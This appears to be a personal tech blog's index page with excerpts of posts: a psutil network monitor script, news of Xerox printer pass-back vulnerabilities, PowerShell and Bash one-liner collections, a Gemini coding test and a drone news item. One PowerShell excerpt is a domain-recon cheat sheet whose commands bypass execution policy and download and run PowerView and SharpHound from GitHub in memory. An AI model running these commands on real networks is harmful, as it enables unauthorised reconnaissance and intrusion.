Posts

Python Scripts for evaluation & diagnosing : nettop.py & pmap.py

Image
kitty terminal detached window for nettop.py :   #!/bin/bash kitty -o font_size=11 -o initial_window_width=65c -o initial_window_height=26c --directory /home/c0ntrol/apps/psutil_scripts python3 nettop.py --detach nettop.py full code review:   #!/usr/bin/env python3 # nettop.py # bryce_polymorph@proton.me $ import sys import time try:     import curses except ImportError:     sys.exit('platform not supported') import psutil from psutil._common import bytes2human lineno = 0 win = curses.initscr() def printl(line, highlight=False):     """A thin wrapper around curses's addstr()."""     global lineno     try:         if highlight:             line += " " * (win.getmaxyx()[1] - len(line))             win.addstr(lineno, 0, line, curses.A_REVERSE)    ...

Xerox VULNs 2025

Image
Xerox Printers Vulnerability Let Attackers Capture Authentication Data From LDAP & SMB By Guru Baran - February 17, 2025 Xerox Printers Vulnerability Let Attackers Capture Authentication Data From LDAP & SMB Multiple vulnerabilities in enterprise-grade Xerox Versalink C7025 multifunction printers (MFPs) enable attackers to intercept authentication credentials from Lightweight Directory Access Protocol (LDAP) and Server Message Block (SMB) services.  Designated as CVE-2024-12510 and CVE-2024-12511, these flaws allow malicious actors to execute “pass-back attacks” – a technique that redirects device authentication attempts to attacker-controlled systems.  The vulnerabilities, discovered by Rapid7 Principal IoT Researcher Deral Heiland, affect firmware versions 57.69.91 and earlier on Xerox’s widely deployed enterprise printers. LDAP Pass-Back Exploitation (CVE-2024-12510) The LDAP vulnerability enables attackers with administrative access to the printer’s web...

More Power shell One Liners

PowerShell One-Liners Permalink Time of the Last Reboot Permalink (Get-CimInstance Win32_OperatingSystem).LastBootUpTime Find Your Public IP Address Permalink (Invoke-RestMethod ipinfo.io/json).ip Find Domain Controllers on Your Domain Permalink Resolve-DnsName -Type ALL -Name _ldap._tcp.dc._msdcs.$env:userdnsdomain List Software Available for Uninstall Permalink Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table Install PowerShell Core (6 and 7) Permalink Invoke-Expression "& { $(Invoke-RestMethod -Uri aka.ms/install-powers…) }" -UseMSI -Preview Get Free Space for System Drive Permalink (Get-PSDrive $Env:SystemDrive.Trim(':')).Free/1GB Get Parent Process(es) Permalink foreach ($prid in ($ppid = foreach ($process in (Get-Process -Name "powershell")) { (Get-CimInstance Win32_Process | Where-Object processid -EQ $process.Id).parentprocessid })) { Ge...

Powershell One Liners

# Domain Recon ## ShareFinder - Look for shares on network and check access under current user context & Log to file powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt" ## Import PowerView Module powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')" ## Invoke-BloodHound for domain recon powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound" ## ADRecon script to generate XLSX file of domain properties powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).Down...

Bash One-Liners

BASH One-liners Run the last command as root $ sudo !! copy Serve current directory tree at http://$HOSTNAME:8000/ $ python -m SimpleHTTPServer copy Runs previous command but replacing $ ^foo^bar copy Rapidly invoke an editor to write a long, complex, or tricky command $ ctrl-x e copy Place the argument of the most recent command on the shell $ 'ALT+.' or '<ESC> .' copy currently mounted filesystems in nice layout $ mount | column -t copy Salvage a borked terminal $ reset copy Get your external IP address $ curl ifconfig.me copy Execute a command at a given time $ echo "ls -l" | at midnight copy Quick access to the ascii table. $ man ascii copy output your microphone to a remote computer's speaker $ dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp copy type partial command, kill this command, check something you forgot, yank the command, resume typing. $ <ctrl+u> [...] <ctrl+y> copy Query Wikipedia via console over DNS...

Google Gemini 2.0 Flash Experimental -- Simple Python Test

Image
 Gemini 2.0 Flash Experimental  Simple Python Test I Prompt : "Hey Gemini can you write a small python script for Linux that will display CPU usage in the terminal"   First Iteration : Clears terminal then prints results on a single terminal line, so while it performs its function its not what I wanted We need the ` CPU Usage : ` section to stay in terminal, only clearing and updating the usage portion   How to use this script: Save: Save the code above as a Python file (e.g., cpu_monitor.py). Install psutil: If you don't have the psutil library installed, open a terminal and run: pip install psutil Make executable: Give the script execute permissions: chmod +x cpu_monitor.py Run: Execute the script from your terminal: ./cpu_monitor.py Key improvements and explanations: Error Handling: The code now includes try...except blocks to handle potential errors, such as the psutil library not being installed or other issues. This makes the script more robust. Clear Screen: T...

Ukrainian Sea Drone Carrier

Image
    Latest news Ukraine The Telegraph: Ukraine’s new $ 250,000 naval drone carriers strike Russians by sea and air Remote-controlled vessels that cost less than a luxury car transform naval warfare as Ukraine deploys boats that launch their own fleet of aerial drones. byYevheniia Martyniuk 24/01/2025 2 minute read The view from a Ukrainian Unmanned Surface Vessel (USV) drone as it closes in on a Russian warship. Photo: The Telegraph The Telegraph: Ukraine’s new $ 250,000 naval drone carriers strike Russians by sea and air Ukraine has introduced unmanned surface vehicles (USVs) capable of launching aerial drones, marking a new chapter in robotic combat operations, The Telegraph reports. The Ukrainian navy’s $250,000 unmanned vessels, which have already cost Russia one-third of its Black Sea Fleet through previous operations, now demonstrate an enhanced capability by carrying and launching their own explosive-laden aerial drones, extending their reach from sea to lan...